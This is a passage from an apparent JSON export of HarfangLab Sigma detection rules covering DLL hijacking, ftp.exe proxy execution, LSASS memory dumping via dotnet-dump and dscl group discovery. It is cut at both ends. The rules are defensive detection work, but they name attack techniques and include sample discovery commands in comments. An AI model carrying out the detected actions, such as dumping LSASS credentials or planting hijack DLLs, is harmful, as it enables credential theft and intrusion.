+  "content": "title: DLL Loaded from ProgramData Folder\nid: c70add7d-5d2c-4c70-8093-25c9b2c4abc8\ndescription: |\n    Detects the loading of a DLL from the root of the ProgramData folder.\n    This uncommon location may indicate malicious activity, as attackers often load unauthorized code here.\n    It is recommended to analyze the loaded DLL, check its file integrity, and review process permissions to identify potential threats.\nreferences:\n    - https://twitter.com/SecurityAura/status/1737092798728278498\n    - https://attack.mitre.org/techniques/T1036/005/\ndate: 2024/01/26\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1036.005\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ImageLoaded|startswith: '?:\\ProgramData\\'\n\n    filter_image:\n        ImageLoaded: '?:\\ProgramData\\\\*\\\\*'\n\n    exclusion_tencent:\n        # C:\\Program Files (x86)\\Tencent\\QQLive\\QQLive.exe\n        ProcessOriginalFileName: 'QQLive.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Tencent Technology(Shenzhen) Company Limited'\n        ImageLoaded: '?:\\ProgramData\\QLDZModule.dll'\n\n    exclusion_bomgar:\n        OriginalFileName: 'nstvhook.dll'\n        Description: 'Bomgar Support Client Utilities'\n        ImageLoaded:\n            - '?:\\ProgramData\\Z@S!-????????-????-????-????-????????????.tmp'\n            - '?:\\ProgramData\\Z@!-????????-????-????-????-????????????.tmp'\n\n    exclusion_quest:\n        # C:\\Program Files (x86)\\Quest\\KACE\\Inventory.exe\n        ProcessOriginalFileName: 'Inventory.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Quest Software Inc.'\n        ImageLoaded: '?:\\ProgramData\\hooking64.exe'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c70add7d-5d2c-4c70-8093-25c9b2c4abc8",
+  "rule_name": "DLL Loaded from ProgramData Folder",
+  "rule_description": "Detects the loading of a DLL from the root of the ProgramData folder.\nThis uncommon location may indicate malicious activity, as attackers often load unauthorized code here.\nIt is recommended to analyze the loaded DLL, check its file integrity, and review process permissions to identify potential threats.\n",
+  "rule_creation_date": "2024-01-26",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1036.005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c711a697-7c2d-432c-b9ec-5f5135728e32",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.079297Z",
+  "creation_date": "2026-03-23T11:45:34.079299Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.079303Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/Ftp/",
+    "https://attack.mitre.org/techniques/T1218/",
+    "https://attack.mitre.org/techniques/T1105/",
+    "https://attack.mitre.org/software/S0095/"
+  ],
+  "name": "t1218_suspicious_process_ftp.yml",
+  "content": "title: Suspicious ftp.exe Execution\nid: c711a697-7c2d-432c-b9ec-5f5135728e32\ndescription: |\n    Detects a suspicious attempt to execute the legitimate ftp.exe binary in order to proxy the execution of another binary.\n    Ftp.exe can be used as a LOLBin in order to the execute other malicious binaries and bypass existing application control defenses.\n    It is recommended to analyze both the process responsible for the execution of ftp.exe and all processes stemming from ftp.exe for malicious content or actions.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/Ftp/\n    - https://attack.mitre.org/techniques/T1218/\n    - https://attack.mitre.org/techniques/T1105/\n    - https://attack.mitre.org/software/S0095/\ndate: 2021/08/05\nmodified: 2025/02/07\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218\n    - attack.command_and_control\n    - attack.t1105\n    - attack.s0095\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.FTP\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_ftp:\n        - Image:\n            - '?:\\Windows\\System32\\ftp.exe'\n            - '?:\\Windows\\SysWOW64\\ftp.exe'\n        - OriginalFileName: 'ftp.exe'\n\n    selection_proxy:\n        CommandLine|contains: ' -s:'\n        ParentCommandLine: '*echo*>* -s:*'\n\n    condition: all of selection_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c711a697-7c2d-432c-b9ec-5f5135728e32",
+  "rule_name": "Suspicious ftp.exe Execution",
+  "rule_description": "Detects a suspicious attempt to execute the legitimate ftp.exe binary in order to proxy the execution of another binary.\nFtp.exe can be used as a LOLBin in order to the execute other malicious binaries and bypass existing application control defenses.\nIt is recommended to analyze both the process responsible for the execution of ftp.exe and all processes stemming from ftp.exe for malicious content or actions.\n",
+  "rule_creation_date": "2021-08-05",
+  "rule_modified_date": "2025-02-07",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1105",
+    "attack.t1218"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c74354e5-97ed-497f-9053-69bd6dec5b1e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.605373Z",
+  "creation_date": "2026-03-23T11:45:34.605377Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.605384Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://parrotsec.org/",
+    "https://attack.mitre.org/techniques/T1018/"
+  ],
+  "name": "t1018_silent_workstation_name_parrot.yml",
+  "content": "title: Activity linked to Workstation Named Parrot\nid: c74354e5-97ed-497f-9053-69bd6dec5b1e\ndescription: |\n    Detects an activity from a machine whose name is Parrot, a widely used penetration testing Linux distribution.\n    Attackers may connect external machines to the network to conduct malicious activities.\n    It is recommended to check if the machine is expected in the network and for other malicious activity from the machine's IP address.\nreferences:\n    - https://parrotsec.org/\n    - https://attack.mitre.org/techniques/T1018/\ndate: 2020/01/14\nmodified: 2025/06/10\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1018\n    - classification.Windows.Source.EventLog\n    - classification.Windows.HackTool.Parrot\n    - classification.Windows.Behavior.NetworkActivity\nlogsource:\n    product: windows\n    service: security\ndetection:\n    selection:\n        - Workstation: 'parrot'\n        - WorkstationName: 'parrot'\n\n    condition: selection\nlevel: medium\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c74354e5-97ed-497f-9053-69bd6dec5b1e",
+  "rule_name": "Activity linked to Workstation Named Parrot",
+  "rule_description": "Detects an activity from a machine whose name is Parrot, a widely used penetration testing Linux distribution.\nAttackers may connect external machines to the network to conduct malicious activities.\nIt is recommended to check if the machine is expected in the network and for other malicious activity from the machine's IP address.\n",
+  "rule_creation_date": "2020-01-14",
+  "rule_modified_date": "2025-06-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1018"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c7469ee5-54c5-4538-ae5b-64928810d159",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.586895Z",
+  "creation_date": "2026-03-23T11:45:34.586900Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.586907Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_resetengine.yml",
+  "content": "title: DLL Hijacking via resetengine.exe\nid: c7469ee5-54c5-4538-ae5b-64928810d159\ndescription: |\n    Detects potential Windows DLL Hijacking via resetengine.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'resetengine.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\bcd.dll'\n            - '\\Cabinet.dll'\n            - '\\DismApi.DLL'\n            - '\\FVEAPI.dll'\n            - '\\ReAgent.dll'\n            - '\\ResetEngine.dll'\n            - '\\tbs.dll'\n            - '\\VSSAPI.DLL'\n            - '\\VssTrace.DLL'\n            - '\\WDSCORE.dll'\n            - '\\WIMGAPI.DLL'\n            - '\\WINHTTP.dll'\n            - '\\WOFUTIL.dll'\n            - '\\XmlLite.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c7469ee5-54c5-4538-ae5b-64928810d159",
+  "rule_name": "DLL Hijacking via resetengine.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via resetengine.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c7773add-97e5-4efe-a11f-e99ba3f36f11",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.094056Z",
+  "creation_date": "2026-03-23T11:45:34.094058Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.094063Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/bohops/status/1635288066909966338",
+    "https://learn.microsoft.com/fr-fr/dotnet/core/diagnostics/dotnet-dump",
+    "https://attack.mitre.org/techniques/T1003/001/"
+  ],
+  "name": "t1003_001_process_memory_dump_via_dotnet_dump.yml",
+  "content": "title: Process Memory Dumped via dotnet-dump.exe\nid: c7773add-97e5-4efe-a11f-e99ba3f36f11\ndescription: |\n    Detects a suspicious attempt to dump a process' memory using dotnet-dump.exe, the legitimate .NET memory acquisition tool.\n    This binary can be used as a LOLBin in order to dump the LSASS.exe process's memory.\n    Adversaries may attempt to access credential material stored in the memory of the Local Security Authority Subsystem Service (LSASS) process.\n    These credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement or Privilege Escalation.\n    It is recommended to check the sensitivity of the data handled by the dumped process.\n    For instance, LSASS.exe contains authentication secrets used by Windows during a session. As this data is highly sensitive, a dump of this process must be considered critical.\n    It is also recommended to analyze the process responsible for the execution of dotnet-dump.exe to look for malicious content or actions.\nreferences:\n    - https://twitter.com/bohops/status/1635288066909966338\n    - https://learn.microsoft.com/fr-fr/dotnet/core/diagnostics/dotnet-dump\n    - https://attack.mitre.org/techniques/T1003/001/\ndate: 2023/09/04\nmodified: 2025/01/30\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.001\n    - attack.t1078\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.DotNetDump\n    - classification.Windows.Behavior.LSASSAccess\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        OriginalFileName: 'dotnet-dump.dll'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c7773add-97e5-4efe-a11f-e99ba3f36f11",
+  "rule_name": "Process Memory Dumped via dotnet-dump.exe",
+  "rule_description": "Detects a suspicious attempt to dump a process' memory using dotnet-dump.exe, the legitimate .NET memory acquisition tool.\nThis binary can be used as a LOLBin in order to dump the LSASS.exe process's memory.\nAdversaries may attempt to access credential material stored in the memory of the Local Security Authority Subsystem Service (LSASS) process.\nThese credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement or Privilege Escalation.\nIt is recommended to check the sensitivity of the data handled by the dumped process.\nFor instance, LSASS.exe contains authentication secrets used by Windows during a session. As this data is highly sensitive, a dump of this process must be considered critical.\nIt is also recommended to analyze the process responsible for the execution of dotnet-dump.exe to look for malicious content or actions.\n",
+  "rule_creation_date": "2023-09-04",
+  "rule_modified_date": "2025-01-30",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001",
+    "attack.t1078"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c7db9e9c-c52d-4c5a-890e-f53bebd19c29",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.088703Z",
+  "creation_date": "2026-03-23T11:45:34.088704Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.088709Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_magnify.yml",
+  "content": "title: DLL Hijacking via magnify.exe\nid: c7db9e9c-c52d-4c5a-890e-f53bebd19c29\ndescription: |\n    Detects potential Windows DLL Hijacking via magnify.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'magnify.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\d3d9.dll'\n            - '\\MAGNIFICATION.dll'\n            - '\\OLEACC.dll'\n            - '\\UIAutomationCore.DLL'\n            - '\\WTSAPI32.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c7db9e9c-c52d-4c5a-890e-f53bebd19c29",
+  "rule_name": "DLL Hijacking via magnify.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via magnify.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c80c4c5b-0721-41af-9658-26d11add3470",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.628483Z",
+  "creation_date": "2026-03-23T11:45:34.628485Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.628489Z",
+  "rule_level": "low",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1069/001/",
+    "https://attack.mitre.org/techniques/T1033/"
+  ],
+  "name": "t1069_001_dscl_groups_macos.yml",
+  "content": "title: Groups Discovered via Dscl\nid: c80c4c5b-0721-41af-9658-26d11add3470\ndescription: |\n    Detects the execution of the dscl command to list all groups.\n    Attackers may use it during the discovery phase of an attack to get the list of groups to which a user belongs to.\n    It is recommended to check for malicious behavior by the process launching dscl and correlate this alert with any other discovery activity.\nreferences:\n    - https://attack.mitre.org/techniques/T1069/001/\n    - https://attack.mitre.org/techniques/T1033/\ndate: 2022/12/01\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1069.001\n    - attack.t1033\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.LOLBin.Dscl\n    - classification.macOS.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection_base:\n        # dscl . -list groups\n        # dscl . -list /Groups\n        # dscl . -list /Groups/../Groups\n        # dscl . search /Groups \"Password\" \"*\"\n        Image: '/usr/bin/dscl'\n        ParentImage|contains: '?'\n        CommandLine|contains:\n            - 'list '\n            - 'search '\n\n    selection_groups:\n        CommandLine|contains: 'groups'\n\n    exclusion_jamf:\n        ParentImage: '/usr/local/jamf/bin/jamf'\n\n    exclusion_munki:\n        - Ancestors|contains: '/Library/MunkiReport/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python'\n        - ParentCommandLine|contains: '/usr/local/munkireport/scripts/'\n\n    exclusion_mosyle:\n        Ancestors|contains: '|/Library/Application Support/Mosyle/MosyleMDM.app/Contents/MacOS/MosyleMDM|'\n\n    exclusion_mac_helper:\n        ParentImage: '/Library/PrivilegedHelperTools/com.nordvpn.macos.helper'\n\n    exclusion_pkinstallsandbox:\n        GrandparentCommandLine: '/bin/sh -x /tmp/PKInstallSandbox.??????/Scripts/com.paloaltonetworks.pkg.cortex.??????/postinstall /usr/local/etc/FileWaveInstallers/FlatPackage-Cortex XDR.pkg/Cortex XDR.pkg / / /'\n\n    exclusion_package_script_service:\n        GrandparentImage: '/System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/XPCServices/package_script_service.xpc/Contents/MacOS/package_script_service'\n\n    exclusion_wapt:\n        ParentImage: '/opt/wapt/wapt-get.bin'\n\n    condition: selection_base and selection_groups and not 1 of exclusion_*\nlevel: low\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c80c4c5b-0721-41af-9658-26d11add3470",
+  "rule_name": "Groups Discovered via Dscl",
+  "rule_description": "Detects the execution of the dscl command to list all groups.\nAttackers may use it during the discovery phase of an attack to get the list of groups to which a user belongs to.\nIt is recommended to check for malicious behavior by the process launching dscl and correlate this alert with any other discovery activity.\n",
+  "rule_creation_date": "2022-12-01",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1033",
+    "attack.t1069.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c82a4b4b-151b-46f2-9434-1433fd02d1e7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.588398Z",
+  "creation_date": "2026-03-23T11:45:34.588401Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.588409Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://research.checkpoint.com/2023/rorschach-a-new-sophisticated-and-fast-ransomware/",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_cy.yml",
+  "content": "title: DLL Hijacking via cydump.exe\nid: c82a4b4b-151b-46f2-9434-1433fd02d1e7\ndescription: |\n    Detects potential Windows DLL Hijacking via cydump.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate signed executable to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://research.checkpoint.com/2023/rorschach-a-new-sophisticated-and-fast-ransomware/\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2023/09/01\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'cydump.exe'\n        ProcessSignature|contains: 'Palo Alto Networks'\n        # 